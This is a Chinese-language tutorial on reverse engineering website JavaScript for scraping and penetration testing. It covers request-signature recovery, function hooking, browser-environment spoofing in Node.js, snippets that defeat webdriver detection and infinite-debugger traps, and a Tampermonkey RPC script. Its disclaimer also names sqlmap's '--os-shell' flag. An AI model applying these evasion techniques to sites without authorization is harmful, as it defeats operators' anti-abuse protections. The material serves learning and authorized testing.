Web JS 逆向全体系内容
互联网技术安全提示与职业操守
做渗透测试,必须严格遵守以下原则:
- 合法授权 :仅在书面授权的范围内使用逆向技术,禁止未授权测试;
- 最小影响 :避免使用高风险参数(如sqlmap工具的
--risk=3、--os-shell),防止目标服务崩溃; - 数据保护:枚举到的敏感数据(如用户密码)需严格保密,测试后立即删除;
- 留痕清理:测试结束后,协助目标清除测试留下的日志、文件等痕迹。
免责声明
- 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
- 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 "非法侵入计算机信息系统罪"、第 286 条 "破坏计算机信息系统罪")及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
- 本文分享的渗透测试技术,核心目的是帮助读者 "理解攻击原理,进而构建更有效的防御体系"------ 渗透测试的本质是 "以攻促防",而非 "指导攻击"。
- 网络安全行业的核心伦理是 "保护而非破坏":所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
- 网络安全是国家安全的重要组成部分,合法合规是每一位互联网技术工程师的职业底线。
- 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
第一部分:大纲全章节技术点入门详解
从基础入门→核心技术实操→全流程实战全覆盖,零基础可学、步骤可 1:1 复现。
第一章 逆向基础
1. 核心定义与底层原理
Web JS 逆向(Web JavaScript 逆向工程),本质是反向分析前端网页的 JS 代码:
网站的接口加密、参数签名、反爬逻辑全部在前端 JS 中实现,我们通过调试、分析、还原 JS 代码,搞懂「加密参数的生成规则」,最终用 Python / 其他语言复现逻辑,实现爬虫、接口调用、渗透测试的目标。
- 底层原理:前端所有加密、反爬逻辑最终都要在浏览器中执行,只要代码能在浏览器运行,就能被分析、还原、复现。
2. 实战作用与应用场景
- 爬虫开发:破解网站 sign、token、加密 data 参数,实现自动化数据爬取;
- 渗透测试:分析前端登录加密、签名校验逻辑,寻找越权、未授权接口漏洞;
- 接口对接:第三方网站无开放 API 时,通过逆向实现接口调用;
- 反爬对抗:绕过网站的环境检测、反调试、代码混淆。
3. 核心知识点拆解
- 前端 JS 执行流程:网页加载→JS 下载→V8 引擎解析执行→发起接口请求;
- 核心目标:找到「加密参数的生成函数」,还原完整逻辑;
- 核心原则:所有前端加密都是纸老虎,密钥、逻辑都在前端 JS 中,只要能调试就能还原。
4. 极简入门示例
javascript
// 网站最常见的sign签名生成逻辑(逆向核心目标)
// 作用:生成接口请求的签名,防止参数被篡改
function generateSign(keyword, timestamp) {
// 1. 拼接参数
const str = keyword + timestamp;
// 2. MD5哈希生成签名
return CryptoJS.MD5(str).toString();
}
// 逆向的核心:搞懂这个函数的逻辑,用Python复现
第二章 浏览器控制台(DevTools)
DevTools 是 JS 逆向的核心工具,对应大纲 3 节内容:Network、Sources+Application、Console。
第一节 Network 面板
1. 核心定义与底层原理
Network 面板是浏览器的网络抓包工具,记录网页所有 HTTP/HTTPS 请求(接口、JS、图片等),可查看请求 URL、请求头、请求体、响应内容,是逆向的第一步 ------ 找到目标接口和加密参数。
2. 实战作用与应用场景
- 找到目标数据接口(榜单、用户信息、搜索结果);
- 查看接口的加密参数(sign、token、data 等),确定逆向目标;
- 查看请求头、Cookie、Referer 等反爬校验字段;
- 查看接口响应内容,确认数据格式。
3. 核心知识点拆解
-
筛选器:All / 全部、XHR/fetch(接口请求,逆向最常用)、JS、Img 等;
-
请求详情:
- Headers:请求头、响应头、请求 URL、请求方法;
- Payload:POST 请求的请求体(加密参数通常在这里);
- Response:接口返回的内容;
- Initiator:请求的发起者(JS 代码位置,定位加密函数的入口);
-
必开配置:Preserve log(保留日志,刷新不清空)、Disable cache(禁用缓存)。
4. 极简入门操作
- 打开 Chrome,按
F12打开 DevTools,切换到 Network 面板; - 勾选「Preserve log」和「Disable cache」,点击「XHR/fetch」筛选器;
- 刷新网页,即可看到所有接口请求,点击任意一个查看加密参数。
第二节 Sources+Application 面板
1. 核心定义与底层原理
- Sources 面板:JS 代码调试核心战场,可查看所有 JS 代码、设置断点、单步调试、查看变量值,找到加密函数核心逻辑;
- Application 面板:查看网站的 Cookie、LocalStorage、SessionStorage,加密密钥、token 通常存储在这里。
2. 实战作用与应用场景
- 调试 JS 代码,单步执行查看加密过程的变量值,还原加密逻辑;
- 找到加密用的密钥、token、用户标识;
- 格式化压缩混淆的 JS 代码,提升可读性;
- 断点管理:精准定位加密函数入口。
3. 核心知识点拆解
-
代码格式化 :点击 JS 代码左下角的
{}按钮,把压缩的单行代码格式化为分行可读代码; -
断点类型:
- 普通断点:点击代码行号,执行到该行暂停;
-
条件断点:右键行号设置条件,条件满足时暂停;
- XHR 断点:接口 URL 包含指定关键词时暂停,定位加密入口;
-
调试控制按钮:
- 继续执行(F8):执行到下一个断点;
-
单步跳过(F10):逐行执行,不进入函数内部;
- 单步进入(F11):逐行执行,进入函数内部;
- 单步跳出(Shift+F11):跳出当前函数;
-
Scope 面板:断点暂停时,查看当前作用域的所有变量值,还原加密逻辑的核心。
4. 极简入门示例
javascript
// 网站加密函数示例
function encryptData(data) {
// 密钥从Application面板的LocalStorage中获取
const key = localStorage.getItem("encrypt_key");
return AES.encrypt(data, key).toString();
}
- 打开 Sources 面板,找到这段代码;
- 点击
return行的行号设置断点; - 触发接口请求,代码暂停;
- 在 Scope 面板查看
data、key的值,确认加密输入和密钥; - 打开 Application 面板,找到 LocalStorage 里的
encrypt_key。
第三节 Console 面板
1. 核心定义与底层原理
Console 面板是JS 交互式执行环境,可直接执行 JS 代码、调用网站函数、查看变量、注入 Hook 代码,是逆向的「测试场」。
2. 实战作用与应用场景
- 测试加密函数:调用网站的加密函数,传入自定义参数,验证逻辑正确性;
- 查看变量 / 函数定义:确认网站的全局变量、加密函数逻辑;
- 执行 Hook 代码:拦截加密函数、原生方法,查看参数和返回值;
- 调试输出:断点暂停时,查看变量的详细信息。
3. 核心知识点拆解
-
全局作用域:Console 中执行的代码默认在网页全局作用域,可直接调用网站的全局函数、变量;
-
常用指令:
console.log(变量):输出变量值;
-
console.dir(对象):输出对象的所有属性和方法;debugger:手动触发断点;
-
代码补全 :输入代码时按
Tab自动补全函数名、变量名。
4. 极简入门示例
javascript
// 1. 调用网站加密函数,测试逻辑
const testSign = generateSign("测试关键词", "1761800000000");
console.log("测试生成的sign:", testSign);
// 2. 查看加密函数的完整定义
console.dir(generateSign);
// 3. 查看LocalStorage中的密钥
console.log("加密密钥:", localStorage.getItem("encrypt_key"));
第三章 加密参数的定位方法
对应大纲内容:常用方法 + Hook 注入,核心是XHR 断点定位 、Hook 注入定位,是逆向的核心步骤。
第一节 XHR 断点定位加密函数
1. 核心定义与底层原理
XHR 断点(XMLHttpRequest/fetch 断点),原理是:浏览器发起接口请求前,会先执行 JS 加密逻辑生成参数,我们给接口 URL 设置断点,请求发起时浏览器会自动暂停,通过调用栈回溯即可找到加密参数的生成函数。
2. 实战作用与应用场景
- 90% 的逆向场景通用,快速定位加密参数生成位置;
- 不知道加密函数名、关键词时,无需盲目搜索代码;
- 精准定位,不会遗漏加密逻辑。
3. 核心知识点拆解
- 断点触发条件:发起的接口 URL 包含设置的关键词时触发;
- 调用栈(Call Stack):断点触发后,面板会显示代码执行顺序,最上方是当前代码,往下是调用它的代码,从下往上回溯即可找到业务代码中的加密逻辑;
- 框架过滤:jQuery、Axios 等框架代码不是目标,需跳过。
4. 极简入门操作
- 打开 DevTools→Sources 面板,找到「XHR/fetch Breakpoints」;
- 点击「Add breakpoint」,输入接口 URL 关键词(如
rank/list); - 触发接口请求,断点触发;
- 查看 Call Stack,从下往上找到业务代码,进入即可找到加密函数。
第二节 Hook 注入定位加密函数
1. 核心定义与底层原理
Hook 注入(函数钩子),原理是:重写浏览器原生方法、网站加密函数,在函数执行前先执行我们的代码,查看函数的输入参数、返回值,甚至修改结果,从而定位加密位置。
2. 实战作用与应用场景
- 已知加密用了 Base64/MD5/AES 等方法,Hook 对应方法即可找到调用位置;
- 查看接口请求前的参数,确认加密结果;
- 绕过环境检测、反调试。
3. 核心知识点拆解
-
Hook 核心逻辑:保留原函数→重写函数→添加自定义逻辑→调用原函数→返回结果;
-
常用 Hook 目标:
- 原生编码:
window.btoa/window.atob(Base64); - 加密 API:
window.crypto.subtle; - 接口请求:
XMLHttpRequest.prototype.send/window.fetch; - 哈希方法:
CryptoJS.MD5/CryptoJS.AES;
- 原生编码:
-
Hook 时机:需在网站 JS 执行前注入,否则 Hook 不到。
4. 极简入门 Hook 代码
javascript
// Hook window.btoa(Base64编码)
// 1. 保存原函数,避免功能丢失
const originalBtoa = window.btoa;
// 2. 重写btoa函数
window.btoa = function(...args) {
// 3. 自定义逻辑:打印输入内容
console.log("btoa被调用,输入:", args[0]);
// 4. 调用原函数,获取结果
const result = originalBtoa.apply(this, args);
// 5. 打印输出结果
console.log("btoa编码结果:", result);
// 6. 打印调用栈,定位调用位置
console.log("调用栈:", new Error().stack);
// 7. 返回原结果,不影响网站功能
return result;
};
第四章 常见的压缩和混淆
对应大纲内容:压缩混淆概述、javascript-obfuscator 示例,核心是 JS 混淆的原理、识别、反混淆基础。
1. 核心定义与底层原理
- 代码压缩 :删除空格、换行、注释,把长变量名改为短名(如
generateSign→a),减小文件体积,同时降低代码可读性; - 代码混淆 :通过字符串加密、控制流扁平化、死代码注入、变量名乱码等方式,把可读代码变成完全看不懂的「乱码」,核心目的是保护前端代码,防止逆向分析,是网站最常用的反爬手段。
- 底层原理:混淆后的代码功能和原代码完全一致,只是代码形态改变,浏览器 V8 引擎仍可正常执行,仅人类无法读懂。
2. 实战作用与应用场景
- 逆向场景:识别网站的混淆工具,选择对应的反混淆方法;
- 反爬对抗:还原混淆代码,找到加密、反爬逻辑;
- 代码保护:自己的前端代码用混淆工具保护,防止被逆向。
3. 核心知识点拆解
-
常见混淆工具:
- javascript-obfuscator:最常用、功能最强的混淆工具,对应大纲示例;
-
Terser:主流压缩工具,支持基础混淆;
- JScrambler:商业级混淆工具,反调试能力强;
-
常见混淆手段:
- 变量名 / 函数名混淆:把有意义的名字改为
_0x123456、a、b等乱码;
- 变量名 / 函数名混淆:把有意义的名字改为
- 字符串加密:把代码中的 URL、密钥、提示语加密,运行时再解密;
- 控制流扁平化:把顺序执行的代码改为 switch-case 循环,打乱执行顺序;
- 死代码注入:插入永远不会执行的代码,干扰分析;
- 反调试:加入无限 debugger、DevTools 检测代码,防止被调试。
4. 极简入门示例
混淆前原始代码
javascript
function generateSign(data, timestamp) {
const salt = "my_secret_salt";
const signStr = salt + data + timestamp;
return CryptoJS.MD5(signStr).toString();
}
javascript-obfuscator 混淆后代码
javascript
var _0x1a2b=['MD5','toString','my_secret_salt'];(function(_0x3c4d,_0x1a2b5){var _0x2f8e=function(_0x3d9a){while(--_0x3d9a){_0x3c4d['push'](_0x3c4d['shift']());}};_0x2f8e(++_0x1a2b5);}(_0x1a2b,0x10));var _0x2f8e=function(_0x3c4d,_0x1a2b5){_0x3c4d=_0x3c4d-0x0;var _0x2f8e2=_0x1a2b[_0x3c4d];return _0x2f8e2;};function generateSign(_0x4d5a,_0x5f6b){const _0x1e3f=_0x2f8e(0x0);const _0x7c8d=_0x1e3f+_0x4d5a+_0x5f6b;return CryptoJS[_0x2f8e(0x1)](_0x7c8d)[_0x2f8e(0x2)]();}
第五章 常见的编码和加密
对应大纲内容:常见的编码和加密,是 JS 逆向的核心基础,90% 的网站加密参数都用这几种算法。
通用核心定义
- 编码:可逆、无密钥的转换,目的是方便传输,不是加密,如 Base64,任何人都能解码;
- 加密:可逆、有密钥的转换,目的是保护数据,只有持密钥者能解密,如 AES、RSA;
- 哈希(摘要):不可逆的转换,把任意长度内容转成固定长度字符串,无法从结果还原原始内容,如 MD5,常用于签名、防篡改。
第一节 Base64 编码
1. 核心定义与底层原理
Base64 是二进制转文本编码,把二进制数据(图片、字符串)转换成由 64 个可打印字符(A-Z、a-z、0-9、+、/)组成的字符串,目的是让二进制数据在 HTTP 协议中正常传输,避免乱码。
- 底层原理:把 3 个字节(24 位)拆成 4 个 6 位的块,每个 6 位对应 Base64 表的一个字符,不足用
=补全。
2. 实战作用与应用场景
- 网站的
data、token参数常用 Base64 编码; - 接口中的图片、文件用 Base64 传输;
- 逆向场景:参数结尾有
=,大概率是 Base64 编码,解码即可看到原始内容。
3. 核心知识点拆解
- 浏览器原生方法:
window.btoa()编码,window.atob()解码; - 特征:编码后仅包含 A-Z、a-z、0-9、+、/、=,结尾可能有 1-2 个
=; - 注意:Base64 是编码不是加密,无密钥,任何人都能解码。
4. 极简入门代码
javascript
// 1. Base64编码(处理中文避免乱码)
const rawStr = "我的加密内容123";
const base64Str = btoa(encodeURIComponent(rawStr));
console.log("Base64编码结果:", base64Str);
// 2. Base64解码
const decodeStr = decodeURIComponent(atob(base64Str));
console.log("Base64解码结果:", decodeStr);
第二节 MD5 哈希算法
1. 核心定义与底层原理
MD5(Message-Digest Algorithm 5)是不可逆的哈希摘要算法,把任意长度的输入转换成固定 32 位十六进制字符串,输入内容稍有变化,输出结果完全不同,无法从 MD5 值还原原始内容。
- 底层原理:通过四轮非线性函数运算,把输入拆分成 512 位的块,最终生成 128 位哈希值,转成 32 位十六进制字符串。
2. 实战作用与应用场景
- 网站接口的
sign签名参数 90% 用 MD5 生成,防止参数被篡改; - 早期网站用 MD5 加密用户密码;
- 逆向场景:看到 32 位十六进制字符串,大概率是 MD5 签名,核心是还原拼接规则。
3. 核心知识点拆解
- 特征:输出固定 32 位(或 16 位)十六进制字符串,仅包含 0-9、a-f(A-F);
- 不可逆:无法从 MD5 值还原原始内容,逆向核心是找到拼接规则 (如
盐值+参数+时间戳); - 常用库:前端用
CryptoJS.MD5(),Python 用hashlib.md5()。
4. 极简入门代码
javascript
// 前提:页面已加载CryptoJS库(绝大多数网站都用)
const keyword = "Python逆向";
const timestamp = "1761800000000";
const salt = "my_secret_salt"; // 网站硬编码的盐值,逆向需找到它
// 拼接签名字符串(核心:还原这个规则)
const signStr = salt + keyword + timestamp;
// 生成MD5签名,转小写
const sign = CryptoJS.MD5(signStr).toString().toLowerCase();
console.log("生成的MD5签名:", sign);
第三节 AES 对称加密
1. 核心定义与底层原理
AES(Advanced Encryption Standard)是对称加密算法,加密解密用同一个密钥,加密速度快、安全性高,是网站最常用的对称加密算法,用于加密接口请求体、响应体。
- 底层原理:把明文分成 128 位的块,通过多轮替换、移位、混合运算,用密钥加密成密文,解密时用同一个密钥反向运算。
- 常见模式:CBC 模式(最常用,需 IV 初始向量)、ECB 模式(简单,不安全)。
2. 实战作用与应用场景
- 网站接口的
data参数用 AES 加密,防止请求内容被抓包查看; - 响应体加密:网站返回的内容是 AES 加密的,前端解密后渲染;
- 逆向场景:需找到 AES 的密钥、IV、模式、填充方式,才能解密 / 复现加密逻辑。
3. 核心知识点拆解
-
核心要素:
- 密钥(Key):16 位(AES-128)、24 位(AES-192)、32 位(AES-256),加密解密共用;
- 初始向量(IV):CBC 模式必须,16 位,和密钥一起用于加密;
- 模式:CBC(最常用)、ECB;
- 填充方式:PKCS7Padding(CryptoJS 默认)、PKCS5Padding;
-
特征:加密后的内容通常是 Base64 编码或十六进制字符串。
4. 极简入门代码
javascript
// 前提:页面已加载CryptoJS库
// 1. 核心配置(逆向必须找到这几个值)
const key = CryptoJS.enc.Utf8.parse("1234567890abcdef"); // 16位密钥
const iv = CryptoJS.enc.Utf8.parse("0123456789abcdef"); // 16位IV向量
// 2. AES加密
const rawData = '{"keyword":"Python逆向","page":1}';
const encrypted = CryptoJS.AES.encrypt(
rawData,
key,
{ iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }
);
const encryptedStr = encrypted.toString();
console.log("AES加密结果:", encryptedStr);
// 3. AES解密
const decrypted = CryptoJS.AES.decrypt(
encryptedStr,
key,
{ iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }
);
const decryptedStr = decrypted.toString(CryptoJS.enc.Utf8);
console.log("AES解密结果:", decryptedStr);
第四节 RSA 非对称加密
1. 核心定义与底层原理
RSA 是非对称加密算法,有一对密钥:公钥(Public Key)和私钥(Private Key),公钥加密的内容只有对应的私钥能解密;私钥签名的内容,公钥能验证签名。安全性基于大数质因数分解的难度,是目前最常用的非对称加密算法。
2. 实战作用与应用场景
- 网站登录:前端用公钥加密用户密码,传输到后端,后端用私钥解密,防止密码被抓包泄露;
- 签名验签:后端用私钥对数据签名,前端用公钥验证,防止数据被篡改;
- 逆向场景:登录接口的密码加密通常用 RSA,需找到公钥,复现加密逻辑。
3. 核心知识点拆解
-
核心特征:
- 公钥是公开的,通常以
-----BEGIN PUBLIC KEY-----开头,网站会通过接口返回或硬编码在 JS 中; - 加密后的内容是长字符串,通常是 Base64 编码;
- 非对称:公钥只能加密不能解密,只有私钥能解密,逆向只能复现加密,无法解密。
- 公钥是公开的,通常以
-
常用库:前端用
JSEncrypt库,Python 用pycryptodome库。
4. 极简入门代码
javascript
// 前提:页面已加载JSEncrypt库(网站登录加密常用)
// 1. 网站的公钥(逆向需从JS中找到)
const publicKey = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqGKukO1De7zhZj6+H0qtjTkVxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUpwmJG8wVQZKjeGcjDOL5UlsuusFncCzWBQ7RKNUSesmQRMSGkVb1/3j+skZ6UtW+5u09lHNsj6tQ51s1SPrCBkedbNf0Tp0GbMJDyR4e9wIDAQAB
-----END PUBLIC KEY-----`;
// 2. 创建加密实例
const encrypt = new JSEncrypt();
// 3. 设置公钥
encrypt.setPublicKey(publicKey);
// 4. 加密用户密码
const password = "my_password_123";
const encryptedPassword = encrypt.encrypt(password);
console.log("RSA加密后的密码:", encryptedPassword);
第六章 加密参数还原与模拟
对应大纲内容:Newrank 榜单逆向、MD5/RSA/AES 加密逆向案例,核心是把前面的技术整合,还原加密逻辑并复现,完整实战案例见第三模块。
第七章 浏览器环境补充
对应大纲内容:常被检测的环境、手动补全、JSDOM、Selenium、Puppeteer,核心是解决「JS 代码在 Node.js 中运行报错,缺少浏览器环境」的问题。
1. 核心定义与底层原理
浏览器环境,指 JS 代码运行时浏览器提供的全局对象和 API,比如window、document、navigator、location等。网站的 JS 代码很多依赖这些浏览器 API,而 Node.js 中没有这些对象,直接复制网站 JS 代码到 Node.js 运行会报window is not defined等错误。
- 环境补全:在 Node.js 中模拟浏览器的全局对象和 API,让网站的 JS 代码能在 Node.js 中正常运行,生成加密参数。
2. 实战作用与应用场景
- 逆向场景:网站加密代码依赖浏览器环境,无法直接在 Node.js 中运行,需补全环境;
- 爬虫开发:补全环境后,可在 Python 爬虫中调用 Node.js 加密函数,生成加密参数;
- 反爬对抗:绕过网站的浏览器环境检测,模拟正常浏览器环境。
3. 核心知识点拆解
-
常被检测 / 依赖的环境对象:
- 全局对象:
window、self、this(浏览器顶层 this 指向 window);
- 全局对象:
- 浏览器信息:
navigator(userAgent、platform、webdriver); - DOM 对象:
document、location、history; - 屏幕信息:
screen(宽度、高度); - 加密 API:
window.crypto;
-
环境补全的三种方式:
- 手动补全:自己写代码模拟缺少的对象和 API,适合简单场景;
- JSDOM 补全:用 JSDOM 库模拟完整的浏览器 DOM 环境,适合中等复杂度场景;
- 浏览器自动化:用 Selenium、Puppeteer 直接控制真实浏览器,运行 JS 代码,适合复杂环境检测场景。
4. 极简入门示例
(1)手动环境补全(简单场景)
javascript
// Node.js环境下,手动补全window对象,解决"window is not defined"错误
global.window = global; // 用Node.js的global模拟window
// 补全navigator对象
global.navigator = {
userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36",
platform: "Win32",
webdriver: false
};
// 补全location对象
global.location = {
href: "https://www.example.com",
host: "www.example.com"
};
console.log("浏览器环境补全完成,userAgent:", window.navigator.userAgent);
// 现在可复制网站的JS代码到这里运行
(2)JSDOM 环境补全(中等场景)
javascript
// 先安装:npm install jsdom
const { JSDOM } = require('jsdom');
// 1. 创建JSDOM实例,模拟浏览器环境
const dom = new JSDOM('<!DOCTYPE html>', {
url: "https://www.example.com",
userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36",
runScripts: "dangerously"
});
// 2. 把JSDOM的对象挂载到Node.js的global上
global.window = dom.window;
global.document = dom.window.document;
global.navigator = dom.window.navigator;
global.location = dom.window.location;
console.log("JSDOM环境补全完成,document对象:", document);
// 现在可直接复制网站的JS代码到这里运行
第八章 浏览器环境监测
对应大纲内容:浏览器环境监测,核心是网站的反爬手段 ------ 检测当前运行环境是真实浏览器,还是爬虫 / Node.js/ 自动化工具。
1. 核心定义与底层原理
浏览器环境监测(指纹检测、反自动化检测),是网站的前端反爬手段,通过 JS 代码检测当前环境的特征,判断是正常用户的浏览器,还是爬虫程序、自动化工具(Selenium/Puppeteer)、Node.js 环境,如果检测到是爬虫,就会返回错误数据、封禁 IP、触发验证码。
- 底层原理:真实浏览器的环境特征,和自动化工具、Node.js 的环境特征有很多差异,网站通过检测这些差异识别爬虫。
2. 实战作用与应用场景
- 逆向场景:分析网站的环境检测逻辑,找到检测点,绕过反爬;
- 爬虫开发:修改自动化工具的环境特征,模拟真实浏览器,绕过检测;
- 渗透测试:分析网站的反爬规则,找到绕过方法,实现自动化爬取。
3. 核心知识点拆解
-
常见的检测点:
navigator.webdriver:自动化工具会把这个值设为true,真实浏览器是undefined;
window.chrome:Chrome 浏览器有这个对象,无头浏览器、自动化工具可能没有;navigator.userAgent:检测 UA 是否是爬虫的 UA;screen对象:检测屏幕分辨率、颜色深度,无头浏览器的分辨率可能异常;- 插件检测:
navigator.plugins,真实浏览器有插件,无头浏览器没有; - 鼠标 / 键盘事件:检测是否有真实的鼠标移动、键盘输入,自动化工具的事件特征和真人不同;
- Canvas/WebGL 指纹:检测浏览器的图形渲染特征,识别无头浏览器。
- 绕过核心思路:找到网站的检测代码,Hook 对应的属性,修改返回值,模拟真实浏览器的特征。
4. 极简入门示例(绕过 webdriver 检测)
javascript
// Hook绕过webdriver检测,在网站JS执行前注入
Object.defineProperty(navigator, 'webdriver', {
get: () => undefined, // 真实浏览器的返回值是undefined,自动化工具是true
});
// 同时绕过window.chrome检测
Object.defineProperty(window, 'chrome', {
get: () => ({
runtime: {},
loadTimes: () => {},
csi: () => {}
}),
});
console.log("webdriver检测绕过完成,navigator.webdriver:", navigator.webdriver);
第九章 加密方法远程调用(RPC)
对应大纲内容:微博登录参数 RPC,核心是远程调用浏览器里的加密函数,不用还原加密逻辑、不用补全环境。
1. 核心定义与底层原理
RPC(Remote Procedure Call,远程过程调用),在 JS 逆向里指:在浏览器里运行网站的 JS 代码,我们通过 WebSocket/HTTP 接口,远程调用浏览器里的加密函数,拿到加密结果。
- 底层原理:网站的加密代码在真实浏览器里运行完全正常,不会有环境检测、代码混淆的问题,我们只需要在浏览器里开一个接口,让 Python 爬虫能调用这个接口,拿到加密参数,不用费劲还原加密逻辑、补全环境。
2. 实战作用与应用场景
- 加密逻辑极度复杂,无法还原(混淆严重、WASM 加密、环境检测多);
- 网站的加密代码经常更新,还原逻辑的成本太高,用 RPC 一劳永逸;
- 微博登录、支付接口等复杂加密场景,用 RPC 快速实现加密参数生成。
3. 核心知识点拆解
-
RPC 实现原理:
- 在浏览器里注入 JS 代码,启动一个 WebSocket 服务,或者用油猴脚本、浏览器插件,监听 HTTP 请求;
- Python 爬虫发送请求,把要加密的参数传给浏览器里的 RPC 服务;
- 浏览器里的 RPC 服务,调用网站的加密函数,生成加密结果;
- 把加密结果返回给 Python 爬虫,爬虫用这个参数发起接口请求。
-
常用实现方式:
- 油猴脚本(Tampermonkey)+ 本地 HTTP 服务:最常用,简单易实现;
- 浏览器插件:稳定性高,适合长期使用;
- Puppeteer/Selenium:直接在自动化浏览器里调用 JS 函数,拿到结果,属于轻量 RPC。
4. 极简入门示例(油猴 RPC 脚本)
javascript
// ==UserScript==
// @name 网站加密函数RPC服务
// @namespace http://tampermonkey.net/
// @version 0.1
// @description 远程调用网站的加密函数
// @match https://www.example.com/* // 替换成目标网站的域名
// @grant none
// ==/UserScript==
(function() {
'use strict';
// 1. 连接本地WebSocket服务
const ws = new WebSocket('ws://127.0.0.1:8080');
// 2. 连接成功
ws.onopen = () => {
console.log("RPC服务连接成功");
};
// 3. 收到Python爬虫的请求,调用加密函数
ws.onmessage = (event) => {
// 解析爬虫传来的参数
const params = JSON.parse(event.data);
const keyword = params.keyword;
const timestamp = params.timestamp;
// 4. 调用网站里的加密函数(核心:直接用网站里的函数,不用还原)
const sign = window.generateSign(keyword, timestamp);
const encryptedData = window.encryptData(JSON.stringify(params));
// 5. 把加密结果返回给Python爬虫
ws.send(JSON.stringify({
sign: sign,
encryptedData: encryptedData
}));
};
})();
第十章 常见协议分析
对应大纲内容:常见协议分析,核心是 HTTP/HTTPS 协议的结构、请求方法、头字段、接口分析方法,是逆向的基础。
1. 核心定义与底层原理
HTTP(HyperText Transfer Protocol,超文本传输协议)、HTTPS(HTTP+SSL/TLS,加密的 HTTP)是浏览器和网站服务器之间通信的协议,所有的网页加载、接口请求,都是通过这个协议传输的。协议分析,就是分析请求和响应的结构,找到接口的调用规则、参数格式、反爬校验字段,是逆向的第一步。
2. 实战作用与应用场景
- 逆向场景:找到目标数据接口,分析接口的请求规则、加密参数、反爬字段;
- 爬虫开发:根据协议分析的结果,构造合法的请求,实现数据爬取;
- 渗透测试:分析接口的漏洞,比如越权、SQL 注入、未授权访问。
3. 核心知识点拆解
-
HTTP 请求结构:
-
请求行:请求方法(GET/POST)、请求 URL、协议版本(HTTP/1.1);
-
请求头(Request Headers):浏览器发给服务器的附加信息,是反爬的核心校验点,常见字段:
User-Agent:浏览器的标识,反爬必校验;
Referer:请求的来源页面,告诉服务器你是从哪个页面来的;Cookie:用户的身份标识,登录状态、会话信息都在这里;Content-Type:请求体的格式,常见的有application/json、application/x-www-form-urlencoded;Authorization:token 认证字段;
- 请求体(Request Body):POST 请求的参数,加密参数通常在这里;
-
-
HTTP 响应结构:
- 状态行:协议版本、状态码(200 成功、403 禁止访问、404 未找到、500 服务器错误);
- 响应头(Response Headers):服务器返回的附加信息;
- 响应体(Response Body):服务器返回的数据,通常是 JSON 格式,我们要爬取的内容在这里;
-
常见请求方法:
- GET:从服务器获取数据,参数放在 URL 里;
-
POST:向服务器提交数据,参数放在请求体里,加密参数通常用 POST。
4. 极简入门示例(协议分析步骤)
- 打开 Chrome DevTools→Network 面板,勾选 Preserve log 和 Disable cache;
- 触发网页的查询操作,找到对应的 XHR 接口;
- 查看请求行:
POST https://api.example.com/rank/list HTTP/1.1; - 查看请求头:找到
User-Agent、Referer、Cookie、Content-Type; - 查看请求体:
{"data":"xxx","sign":"xxx","timestamp":"xxx"},找到加密参数; - 查看响应体:
{"code":0,"data":{"list":[]}},确认数据格式; - 用 Python 构造相同的请求,验证是否能拿到数据。
第十一章 常见反调试
对应大纲内容:无限 debugger 的原理与绕过,核心是网站的反调试手段,防止我们用 DevTools 调试 JS 代码。
1. 核心定义与底层原理
反调试,是网站的前端反爬手段,通过 JS 代码,检测用户是否打开了 DevTools(开发者工具),如果打开了,就会触发无限 debugger、页面卡死、代码加密、返回错误数据,防止我们调试、分析 JS 代码。
- 无限 debugger 的原理:用定时器 / 循环,不断执行
debugger语句,只要打开了 DevTools,代码就会不断暂停,无法正常调试,页面也会变得卡顿。
2. 实战作用与应用场景
- 逆向场景:绕过网站的反调试,正常调试 JS 代码,找到加密函数;
- 爬虫开发:分析网站的反调试逻辑,绕过反爬,实现自动化爬取;
- 反爬对抗:掌握反调试的原理,找到对应的绕过方法。
3. 核心知识点拆解
-
常见反调试手段:
- 无限 debugger:最常用,用
setInterval不断执行debugger;
- 无限 debugger:最常用,用
- DevTools 检测:检测 DevTools 是否打开,比如检测
console.log的执行时间、检测窗口大小变化; - 代码压缩混淆:让代码无法读懂,增加调试难度;
- 断点检测:检测是否设置了断点,触发反爬;
- 内存爆破:生成大量的对象,让 DevTools 卡顿,无法调试。
-
无限 debugger 的常见实现方式:
javascript// 最常见的无限debugger setInterval(() => { debugger; }, 100); // 每100毫秒执行一次debugger- 绕过核心思路:让
debugger语句不执行,或者执行了也不暂停。
4. 极简入门示例(无限 debugger 绕过)
方法 1:条件断点绕过(最简单)
- 打开 DevTools→Sources 面板,找到
debugger语句所在的行; - 右键行号,选择「Add conditional breakpoint」;
- 在条件框里输入
false,按回车; - 刷新页面,debugger 永远不会触发,正常调试。
方法 2:Hook 绕过(通用)
```javascript
// 重写Function构造函数,拦截debugger语句
const originalFunction = Function;
Function = function(...args) {
if (args.join('').includes('debugger')) {
// 如果代码里有debugger,返回空函数,不执行
return () => {};
}
return originalFunction.apply(this, args);
}; - 绕过核心思路:让
第十二章 调试工具补充
对应大纲内容:调试工具补充,核心是 Chrome DevTools 的进阶调试技巧,提升逆向效率。
1. 核心定义与底层原理
Chrome DevTools 除了基础的断点、单步调试,还有很多进阶的调试工具,能帮我们快速定位加密函数、分析代码执行流程、查看变量变化,提升逆向效率。
2. 实战作用与应用场景
- 快速定位加密函数,不用盲目翻代码;
- 分析复杂的代码执行流程,找到加密逻辑;
- 监控变量的变化,找到密钥、盐值的来源;
- 绕过简单的反调试,提升调试效率。
